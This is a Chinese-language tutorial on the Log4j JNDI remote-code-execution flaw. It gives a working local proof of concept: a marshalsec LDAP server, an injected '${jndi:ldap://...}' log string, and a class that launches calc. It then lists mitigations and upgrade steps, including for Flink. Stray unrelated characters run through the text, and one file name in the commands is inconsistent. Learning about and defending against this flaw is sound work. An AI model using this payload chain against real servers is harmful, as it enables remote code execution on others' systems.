聲明
本篇目的為分享原理和學(xué)習(xí)用途残黑,嚴(yán)禁用于任何惡意行為俗孝。任何惡意使用導(dǎo)致的一切損失和法律責(zé)任由操作者承擔(dān)匙奴,和本文作者無關(guān)俗冻。
準(zhǔn)備工作
下載并編譯mbechler/marshalsec
礁叔。
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests
編寫代碼
Log4j漏洞代碼(Log4j.java
):
public static void main(String[] args) {
// 高版本(191以上)JDK默認(rèn)為false,需要添加這一行
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
漏洞遠(yuǎn)程惡意執(zhí)行代碼(Log4jRCE.java
)迄薄,如下例子為啟動(dòng)計(jì)算器程序琅关。
static {
System.out.println("Log4jRCE from remote!");
// 啟動(dòng)計(jì)算器,在windows環(huán)境下
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
編譯Log4jRCE.java
并放置class文件于任意目錄讥蔽,例如/path/to/rce
涣易。
漏洞利用
復(fù)制編譯后的漏洞遠(yuǎn)程惡意執(zhí)行代碼(Log4jRCE.class
)到任意目錄,例如/path/to/rce
冶伞,啟動(dòng)一個(gè)http服務(wù)器新症。
mv Log4j.class /path/to/rce
python -m http.server 8081
進(jìn)入marshalsec
目錄,啟動(dòng)LDAP服務(wù):
cd marshalsec
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jRCE
執(zhí)行漏洞代碼:
java -cp log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Log4j
我們發(fā)現(xiàn)輸出:
Log4jRCE from remote!
同時(shí)計(jì)算器程序被啟動(dòng)响禽。觀察http server和LDAP服務(wù)器日志徒爹,發(fā)現(xiàn)的確接收到了Log4j漏洞代碼發(fā)來的請(qǐng)求。
漏洞防御
漏洞防御措施分為臨時(shí)規(guī)避方案和徹底解決方案芋类。
臨時(shí)規(guī)避方案
強(qiáng)烈建議升級(jí)JDK版本到6u211 / 7u201 / 8u191 / 11.0.1這些版本以上隆嗅。這些版本默認(rèn)com.sun.jndi.ldap.object.trustURLCodebase
值為false
,一定程度上降低了安全風(fēng)險(xiǎn)侯繁,但是不能徹底解決胖喳。
安全建議如下:
- 修改JVM參數(shù),增加
-Dlog4j2.formatMsgNoLookups=true
- 設(shè)置系統(tǒng)環(huán)境變量
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- 對(duì)于2.0-beta9 到 2.10.0 之間的版本(閉區(qū)間)贮竟,需要從jar包中刪除
org/apache/logging/log4j/core/lookup/JndiLookup.class
丽焊〗咸辏可執(zhí)行zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
。 -
PatternLayout
設(shè)置輸出消息格式為%m{nolookups}
技健,不要使用%m
重付。
徹底解決方案
需要替換項(xiàng)目依賴中的log4j為2.16.0
。log4j2.15.0
雖然已經(jīng)修復(fù)了漏洞凫乖,但只是應(yīng)急處理(解決了JNDI從日志消息和地址訪問)确垫,建議使用更安全的2.16.0
。2.16.0
默認(rèn)禁用了JNDI帽芽。開啟JNDI需要 log4j2.enableJndi
設(shè)置為 true
删掀。除此之外該版本還默認(rèn)禁止了message解析過程lookup(相當(dāng)于默認(rèn)為前面說的%m{nolookups}
)。如要啟用lookup导街,請(qǐng)?jiān)O(shè)置Pattern為%m{lookup}
披泪。
如果項(xiàng)目為fat jar(項(xiàng)目本身和依賴打到同一個(gè)jar包),建議修改log4j依賴版本后重新編譯搬瑰。如果項(xiàng)目加載固定目錄中的內(nèi)容到classpath
(例如Flink的lib
目錄)款票,直接替換依賴包即可。
Flink修復(fù)log4j漏洞的方式
下載并替換如下jar包到Flink的lib目錄:
注意:如果Flink引入了第三方j(luò)ar包泽论,還需要檢查第三方j(luò)ar包中的log4j版本艾少。作業(yè)中整個(gè)classpath中出現(xiàn)的log4j都需要排查一遍。